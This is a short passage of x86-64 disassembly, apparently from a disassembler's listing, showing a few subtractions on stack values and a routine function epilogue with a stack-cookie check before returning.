sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1403d8060
add rsp, 0x78
ret